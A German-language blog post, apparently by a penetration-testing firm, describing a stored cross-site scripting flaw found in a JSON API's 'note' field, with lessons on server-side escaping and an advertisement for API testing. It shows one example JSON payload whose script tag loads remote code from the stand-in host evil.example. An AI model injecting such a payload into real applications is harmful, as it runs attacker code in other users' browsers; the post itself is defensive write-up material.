Moderne APIs sind oft RESTful, JSON-basiert und gut dokumentiert – aber das schützt sie nicht vor klassischen Web-Schwachstellen. In einem reellen Assessment fanden wir eine persistente XSS in einer API, die von mehreren Frontends konsumiert wurde – ausgelöst durch ein einziges fehlendes Validierungsfeld.
Der Angriffsvektor: Eingabefeld „note"
Die API nahm POST-Requests mit einem Feld note entgegen, das in der Datenbank gespeichert und über verschiedene Clients (Web und Mobile) angezeigt wurde.
Das Backend prüfte zwar das JSON-Schema, aber nicht den tatsächlichen Inhalt des Strings.
{
"note": "<script src=//evil.example/x.js></script>"
}
Beispielinhalt – Ziel-Domain anonymisiert.
Warum das funktionierte
Die Web-Anwendung renderte den Wert direkt in einem HTML-Kontext, ohne Escaping. Auch der mobile Client zeigte HTML-basiert an – einschließlich Skriptausführung. Besonders kritisch: Es gab kein Output-Encoding auf Server-Seite.
Client-Rendering ≠ sichere Darstellung. Das Backend muss jeden Eingabewert serverseitig validieren und escapen – unabhängig davon, wie der Client die Daten darstellt.
Lessons Learned
- Client-Rendering ≠ sichere Darstellung – niemals auf Clients verlassen.
- Alle API-Felder müssen serverseitig validiert und ge-escaped werden.
- XSS ist nicht „altmodisch" – sie lebt in jeder Technologie weiter.
Tools & Technik
Für Analyse und Exploit-Verifikation setzten wir u. a. auf Burp Suite, PayloadsAllTheThings sowie angepasste Repeater-Sessions, um persistente Einträge über mehrere API-Endpunkte zu testen.
Wann wurde Ihre API zuletzt auf XSS getestet?
Unser Applikations- / API-Pentest findet genau solche Schwachstellen – bevor es Angreifer tun.
Jetzt testen lassen